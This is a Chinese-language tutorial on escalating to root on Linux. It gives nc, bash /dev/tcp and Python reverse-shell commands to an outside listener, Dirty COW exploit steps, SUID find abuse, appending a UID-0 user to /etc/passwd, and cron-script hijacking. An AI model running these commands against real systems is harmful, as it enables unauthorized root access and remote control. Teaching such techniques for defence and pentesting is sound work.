Linux系统提权
当拿到了一台Linux服务器的低权限账号后,要通过技术手段提权至 root 用户权限,以执行更多的操作。首先关于Linux提权我们得先明白几个概念。
linux内核知识
Linux内核版本号由3组数字组成:第一个组数字:内核主版本。 第二个组数字:偶数表示稳定版本;奇数表示开发中版本。第三个组数字:错误修补的次数。 3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。
#使用以下命令也可以看到系统内核及版本的一些信息:
uname -a #查看内核的具体信息
cat /proc/version #查看内核的具体信息
cat /etc/centos-release #查看centos发行版本
cat /etc/redhat-release #查看redhat发行版本
Linux提权方法总结
Linux提权的前提:
- 拿到了一个低权限的账号
- 能上传和下载文件
- 机器上有python、java、perl等环境(非必须项)
一、Linux反弹提权
**如果手里只有webshell可以利用反弹shell来得到一个shell,反弹的权限是中间件的权限。 **
1、NC反弹shell
NC详情参考:***.com
①nc参数介绍
-l 指定nc将处于侦听模式,nc被当作server,侦听并接受连接。
-p <port>指定端口,老版本才需要-p
-s 指定发送数据的源IP地址,适用于多网卡机
-u 指定nc使用UDP协议,默认为TCP
-v 输出交互或出错信息,新手调试时尤为有用
-w 超时秒数,后面跟数字
-z 表示zero,表示扫描时不发送任何数据
②nc做tcp监听
# 开启本地8080端口监听
nc nc -l -p 80802
③nc反弹服务器shell
方法⑴:公网主机绑定SHELL
#在公网监听端口5555端口,并绑定shell
nc -lp 5555 -t -e cmd.exe
#在内网主动建立到外网IP:5555的连接
nc -nvv x.x.x.x 5555
方法⑵:内网主机绑定SHELL
#在公网监听端口
nc -lp 5555
#在内网机器绑定shell反弹
nc -t -e cmd x.x.x.x 5555
2、利用bash直接反弹
(1) bash反弹一句话
#先公网监听
nc -l -p 8080
#在内网bash反弹
bash -i >& /dev/tcp/x.x.x.x/8080 0>&1
网上还有很多方法一句话反弹shell,需要自行搜索
二、内核漏洞提权——脏牛
- 脏牛漏洞: 又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
- 漏洞范围: Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
- 简要分析: 该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。 竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。 恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。
- exp: ***.com
示例:脏牛内核提权
- 首先确定发行版、内核版
cat /etc/issue
cat /etc/*-release
uname -a
- 根据内核版本,找exp,下载对应dirty.c文件编译
gcc -pthread dirty.c -o dirty -lcrypt
- 执行当前编译的dirty.c文件,然后输入新密码123456
./dirty
#执行后,会将原来的passwd文件备份到/tmp目录
#然后创建的新账号是firefart,密码123456
- 等创建成功后,切换到firefart用户 会发现此用户会发现已经是root权限了。 最好立刻再新建一个管理员账号,然后立刻恢复passwd文件。 因为这个提权不是新建了一个账号,而已用新账号替换了root账号,所以要把root账号恢复回去
三、SUID提权
SUID(设置用户ID)是赋予文件的一种特殊权限,拥有改权限的程序,任何用户执行的时候都是改命令都是以root权限执行的
suid提权是指这类有S权限的程序,如果能执行命令,那么我们就能从用改程序从普通用户提升到了root权限
SUID可用命令
⑴在本地查找符合条件的文件,有以下三个命令
#尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
⑵已知的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
示例:利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
- 查看具有root用户权限的SUID文件
sh find / -perm -u=s -type f 2>/dev/null - 发现有find命令,再确认一下
sh ls -lh /usr/bin/find #权限是rwsr-xr-x 确实有s权限 - 测试是否能用find命令以root权限运行
sh /usr/bin/find examples.desktop -exec whoami \; #发现确实可以以root权限运行 - 然后查看目标网站上是否的python环境 linux服务器一般都自带python,区别是有些2.X,有些3.x
- 于是我们以root用户的身份利用python反弹shell,
python #反弹一个sh类型的shell python -c 'import socket,subprocess,os; \ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \ s.connect(("192.168.10.25",4444)); \ os.dup2(s.fileno(),0); \ os.dup2(s.fileno(),1); \ os.dup2(s.fileno(),2); \ p=subprocess.call(["/bin/sh","-i"]);' - 远端nc监听
nc -lvp 4444可以看到,在攻击端收到了反弹过来的shell,并且是root身份本节来自:***.com
四、Linux配置错误提权
利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权
对Linux配置进行检查的脚本有: ***.com ***.com
当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。 接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。
- 查看 /etc/passwd 的权限,发现任何用户都可以读写。 我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
- 首先,使用perl语言生成带有盐值的密码:
sh perl -le 'print crypt("password@123","addedsalt")' -
然后将test用户的信息加入 /etc/passwd 文件
sh echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd -
以
test/password@123登录主机 登录成功后,是 root 权限。
五、定时任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。
非root权限的用户是不可以列出root 用户的计划任务的。但是系统的计划任务/etc、cron*可以被列出。
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。
-
列出系统定时任务
sh ls -l /etc/cron* -
查看列出的目录中,是否允许普通用户修改 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。 如果允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。
六、密码复用提权
我们如果在主机上找到了其他应用或数据库的密码,那么很有可能root用户也用该密码,或者该参考该密码命名规则。那么就可以尝试一下 su root 来提权了。